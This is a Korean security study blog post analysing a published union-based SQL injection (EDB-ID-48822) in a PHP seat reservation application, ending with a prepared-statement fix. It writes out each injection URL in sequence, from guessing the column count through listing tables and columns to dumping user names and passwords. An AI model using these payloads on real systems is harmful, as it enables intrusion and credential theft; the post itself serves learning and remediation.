Notice
Recent Posts
Recent Comments
Link
«   2025/05   »
1 2 3
4 5 6 7 8 9 10
11 12 13 14 15 16 17
18 19 20 21 22 23 24
25 26 27 28 29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

Study

EDB-ID-48822 본문

웹 보안/Exploit-db

EDB-ID-48822

^_^? 2020. 12. 30. 14:11

1. 개요

CVE 코드

EDB-ID-48822

분류

Union SQL Injection

대상 어플리케이션 Seat Reservation System 1.0
취약 코드 /seat_reservation/reserve.php
실행 환경 Apache 2.4.46 / PHP Version 7.4.9 / Windows 7 x64

 

1.1 대상 어플리케이션 설명

 

: 영화 좌석 예매 서비스를 제공하는 웹페이지다.

 

(그림 1) 웹 페이지 메인 화면

 

영화 포스터에 마우스를 올리면 나타나는 Reserve Seat버튼을 클릭하면

해당하는 영화를 예매할 수 있는 /seat_reservation/reserve.php 페이지로 이동한다.

 

(그림 2) 영화 예매 페이지

 

(그림 3) 예매 페이지 URL

위 URL에서 id값을 검증하지 않아서 취약점이 발생한다.

 

 

1.2 공격 시나리오

 

 -Union연산자를 이용한 Sql Injection공격을 수행한다.

  

  -> 관리자 계정정보 탈취 및  관리자 페이지 접속 가능하다.

 

   

2. 상세 분석

2.1 발생원리

 

-사용자가 입력한 데이터가 애플리케이션에 의해 검증, 필터링, 삭제되지 않을 때 발생한다.

 

 

/seat_reservation/reserve.php 코드를 보면

아래와 같이 id 값에 대한 검증이 이루어지지 않는 것을 확인할 수 있다.

 

(그림 4) reserve.php

 

 

2.2 취약점 확인

 

/seat_reservation/index.php?page=reserve&id=999

 

id값을 999라는 임의의 값을 넣어준 결과

존재하지 않는 값을 넣어줬기 때문에 빈 예매 화면이 출력되었다.

 

(그림 5) 빈 예매 화면

 

 

  Union연산자를 이용한 Sql Injection공격을 수행한다.

 

    컬럼의 개수를 5개로 추측하고 아래의 URL을 입력해보았다.

 

   입력 URL: /seat_reservation/index.php?page=reserve&id=' 'union select 1,2,3,4,5--

(그림 6) 컬럼개수 추측 실패

위와 같이 실패했음을 알 수 있다.

 

 컬럼개수를 하나씩 늘려보다가 8개가 되었을 때 공격에 성공하였다.

 입력 URL: /seat_reservation/index.php?page=reserve&id=' 'union select 1,2,3,4,5,6,7,8--

 

(그림 7) 컬럼 개수 추측 성공

 

이번에는 데이터베이스 내에 어떤 테이블들이 있는지 테이블 명을 출력해보자

group_concat()을 이용해야 출력할 리스트들을 , 로 구분해 모두 출력해준다.

 

입력 URL:

/seat_reservation/index.php?

page=reserve&id=' 'union select 1,group_concat(table_name),3,4,5,6,7,8 from information_schema.tables where table_schema=database() --

 

(그림 8) 데이터베이스 내 테이블 명 출력

 

이번엔 계정 정보를 알아내고자 한다.

위 그림을 참고하면 users테이블에 계정정보가 있을 것으로 추측가능하다.

 

입력 URL: 

/seat_reservation/index.php?

page=reserve&id=' 'union select 1,group_concat(column_name),3,4,5,6,7,8 from information_schema.columns where table_name='users';

 

(그림 9) 컬럼명 출력

 

마지막으로 위에서 알아낸 컬럼명으로 관리자의 패스워드를 출력해보았다.

 

입력 URL:

/seat_reservation/index.php?

page=reserve&id=' 'union select 1,name,3,password,5,6,7,8 from users;--

 

 

(그림 10) 관리자의 패스워드 출력

 

3. 대응 방안

 

- 특수문자를 필터링하는 방법도 있지만 우회 가능한 방법이기 때문에

  prepare, execute함수를 써서 시큐어 코딩을 했다.

 

(그림 11) 수정 후 reserve.php

 

위와 같이 prepared statement를 사용할 경우에 쿼리문은 고정되어있고

인자 값만 받아서 요청이 수행되기 때문에 외부에서 코드를 변경할 수 없다면 sql인젝션은 발생할 수 없을 것이다.

 

 

(그림 12) Union sql Injection 수행 결과

 

넣어준 입력값이 db내에 존재하지 않는 값이기에 내용이 빈 예매화면이 출력되고

Union연산자를 이용한 Sql Injection이 발생하지 않는다.

 

4. 참고자료

 

- sql Injection

 owasp.org/www-project-top-ten/2017/A1_2017-Injection

 

- Exploit-DB

  www.exploit-db.com/exploits/48822

 

- prepared statement 

  www.w3schools.com/php/php_mysql_prepared_statements.asp

 

 

 

 

 

 

 

 

 

'웹 보안 > Exploit-db' 카테고리의 다른 글

EDB-49420, 49428  (0) 2021.01.27
EDB-49431  (0) 2021.01.22
EDB-49375  (0) 2021.01.15
EDB-47583  (0) 2021.01.13
CVE-2020-25762  (0) 2021.01.06